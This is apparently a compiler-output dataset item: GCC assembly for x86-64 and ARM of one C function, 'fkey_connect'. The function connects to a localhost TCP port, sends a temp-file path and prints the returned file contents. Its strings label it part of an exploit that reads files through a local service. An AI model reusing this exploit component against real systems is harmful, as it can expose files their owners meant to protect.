	.file	"extr_763.c_fkey_connect.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"[*] attempting to connect: localhost:%u.\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"127.0.0.1"
.LC2:
	.string	"localhost"
.LC3:
	.string	"couldn't resolve hostname."
.LC4:
	.string	"connection failed."
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"[*] successfully connected: localhost:%u.\n"
	.align 8
.LC6:
	.string	"exploit failed, file doesn't exist or zero-length file."
	.text
	.p2align 4
	.globl	fkey_connect
	.type	fkey_connect, @function
fkey_connect:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	mov	ebp, edi
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	movzx	ebp, bp
	sub	rsp, 1064
	.cfi_def_cfa_offset 1104
	mov	edx, DWORD PTR IPPROTO_TCP[rip]
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 1048[rsp], rax
	xor	eax, eax
	mov	edi, DWORD PTR AF_INET[rip]
	lea	r12, 4[rsp]
	call	socket@PLT
	mov	edi, ebp
	mov	r13d, eax
	mov	eax, DWORD PTR AF_INET[rip]
	mov	DWORD PTR 12[rsp], eax
	call	htons@PLT
	mov	esi, ebp
	lea	rdi, .LC0[rip]
	mov	DWORD PTR 8[rsp], eax
	call	printf@PLT
	lea	rdi, .LC1[rip]
	call	inet_addr@PLT
	mov	DWORD PTR 4[rsp], eax
	test	eax, eax
	jne	.L18
.L2:
	mov	esi, DWORD PTR sig_alarm[rip]
	mov	edi, DWORD PTR SIGALRM[rip]
	call	signal@PLT
	mov	edi, 3
	call	alarm@PLT
	mov	edx, 12
	mov	rsi, r12
	mov	edi, r13d
	call	connect@PLT
	test	rax, rax
	jne	.L19
.L4:
	xor	edi, edi
	xor	r12d, r12d
	call	alarm@PLT
	mov	esi, ebp
	lea	rdi, .LC5[rip]
	lea	rbp, 16[rsp]
	call	printf@PLT
	mov	edi, DWORD PTR TMPFILE[rip]
	call	strlen@PLT
	mov	esi, DWORD PTR TMPFILE[rip]
	mov	edi, r13d
	mov	edx, eax
	call	write@PLT
	mov	edi, 5
	call	alarm@PLT
	mov	edx, 1025
	xor	esi, esi
	mov	rdi, rbp
	call	memset@PLT
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L6:
	mov	esi, DWORD PTR stderr[rip]
	mov	rdi, rbp
	add	r12d, ebx
	call	fputs@PLT
	mov	edx, 1025
	xor	esi, esi
	mov	rdi, rbp
	call	memset@PLT
.L5:
	mov	edx, 1024
	mov	rsi, rbp
	mov	edi, r13d
	call	read@PLT
	mov	ebx, eax
	test	eax, eax
	jne	.L6
	xor	edi, edi
	call	alarm@PLT
	test	r12d, r12d
	jle	.L20
.L7:
	mov	edi, r13d
	call	close@PLT
	mov	rax, QWORD PTR 1048[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L21
	add	rsp, 1064
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
	.p2align 4,,10
	.p2align 3
.L18:
	.cfi_restore_state
	lea	rdi, .LC2[rip]
	call	gethostbyname@PLT
	mov	rbx, rax
	test	rax, rax
	je	.L22
.L3:
	lea	r12, 4[rsp]
	mov	rsi, QWORD PTR [rbx]
	mov	edx, 4
	mov	rdi, r12
	call	memcpy@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L19:
	mov	esi, 1
	lea	rdi, .LC4[rip]
	call	printe@PLT
	jmp	.L4
	.p2align 4,,10
	.p2align 3
.L20:
	xor	esi, esi
	lea	rdi, .LC6[rip]
	call	printe@PLT
	jmp	.L7
.L22:
	mov	esi, 1
	lea	rdi, .LC3[rip]
	call	printe@PLT
	jmp	.L3
.L21:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	fkey_connect, .-fkey_connect
	.comm	stderr,4,4
	.comm	sig_alarm,4,4
	.comm	TMPFILE,4,4
	.comm	SOCK_STREAM,4,4
	.comm	SIGALRM,4,4
	.comm	IPPROTO_TCP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_763.c_fkey_connect.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[*] attempting to connect: localhost:%u.\012\000"
	.align	2
.LC1:
	.ascii	"127.0.0.1\000"
	.align	2
.LC2:
	.ascii	"localhost\000"
	.align	2
.LC3:
	.ascii	"couldn't resolve hostname.\000"
	.align	2
.LC4:
	.ascii	"connection failed.\000"
	.align	2
.LC5:
	.ascii	"[*] successfully connected: localhost:%u.\012\000"
	.align	2
.LC6:
	.ascii	"exploit failed, file doesn't exist or zero-length f"
	.ascii	"ile.\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC7:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	fkey_connect
	.syntax unified
	.arm
	.fpu softvfp
	.type	fkey_connect, %function
fkey_connect:
	@ args = 0, pretend = 0, frame = 1048
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, lr}
	ldr	r3, .L22
	ldr	r5, .L22+4
	ldr	r2, .L22+8
	ldr	r1, [r3]
	sub	sp, sp, #1040
	ldr	r3, .L22+12
	sub	sp, sp, #8
	ldr	r2, [r2]
	mov	r4, r0
	ldr	r0, [r5]
	ldr	r3, [r3]
	str	r3, [sp, #1044]
	mov	r3,#0
	bl	socket
	ldr	r3, [r5]
	mov	r6, r0
	mov	r0, r4
	str	r3, [sp, #12]
	bl	htons
	mov	r3, r0
	mov	r1, r4
	ldr	r0, .L22+16
	str	r3, [sp, #8]
	bl	printf
	ldr	r0, .L22+20
	bl	inet_addr
	cmp	r0, #0
	str	r0, [sp, #4]
	addeq	r5, sp, #4
	bne	.L17
.L2:
	ldr	r2, .L22+24
	ldr	r3, .L22+28
	ldr	r1, [r2]
	ldr	r0, [r3]
	bl	signal
	mov	r0, #3
	bl	alarm
	mov	r1, r5
	mov	r2, #12
	mov	r0, r6
	bl	connect
	cmp	r0, #0
	bne	.L18
.L4:
	mov	r0, #0
	bl	alarm
	mov	r1, r4
	ldr	r0, .L22+32
	bl	printf
	ldr	r3, .L22+36
	mov	r5, #0
	ldr	r4, [r3]
	ldr	r8, .L22+40
	mov	r0, r4
	bl	strlen
	mov	r1, r4
	mov	r2, r0
	mov	r0, r6
	bl	write
	mov	r0, #5
	bl	alarm
	mov	r1, r5
	ldr	r2, .L22+44
	add	r0, sp, #16
	bl	memset
	ldr	r7, .L22+44
	b	.L5
.L6:
	ldr	r1, [r8]
	add	r0, sp, #16
	bl	fputs
	mov	r2, r7
	mov	r1, #0
	add	r0, sp, #16
	add	r5, r5, r4
	bl	memset
.L5:
	mov	r2, #1024
	mov	r0, r6
	add	r1, sp, #16
	bl	read
	subs	r4, r0, #0
	bne	.L6
	bl	alarm
	cmp	r5, #0
	ble	.L19
.L7:
	mov	r0, r6
	bl	close
	ldr	r3, .L22+12
	ldr	r2, [r3]
	ldr	r3, [sp, #1044]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L20
	add	sp, sp, #1040
	add	sp, sp, #8
	@ sp needed
	pop	{r4, r5, r6, r7, r8, pc}
.L17:
	ldr	r0, .L22+48
	bl	gethostbyname
	subs	r7, r0, #0
	beq	.L21
.L3:
	add	r5, sp, #4
	mov	r0, r5
	mov	r2, #4
	ldr	r1, [r7]
	bl	memcpy
	b	.L2
.L18:
	mov	r1, #1
	ldr	r0, .L22+52
	bl	printe
	b	.L4
.L19:
	mov	r1, r4
	ldr	r0, .L22+56
	bl	printe
	b	.L7
.L21:
	mov	r1, #1
	ldr	r0, .L22+60
	bl	printe
	b	.L3
.L20:
	bl	__stack_chk_fail
.L23:
	.align	2
.L22:
	.word	SOCK_STREAM
	.word	AF_INET
	.word	IPPROTO_TCP
	.word	.LC7
	.word	.LC0
	.word	.LC1
	.word	sig_alarm
	.word	SIGALRM
	.word	.LC5
	.word	TMPFILE
	.word	stderr
	.word	1025
	.word	.LC2
	.word	.LC4
	.word	.LC6
	.word	.LC3
	.size	fkey_connect, .-fkey_connect
	.comm	stderr,4,4
	.comm	sig_alarm,4,4
	.comm	TMPFILE,4,4
	.comm	SOCK_STREAM,4,4
	.comm	SIGALRM,4,4
	.comm	IPPROTO_TCP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
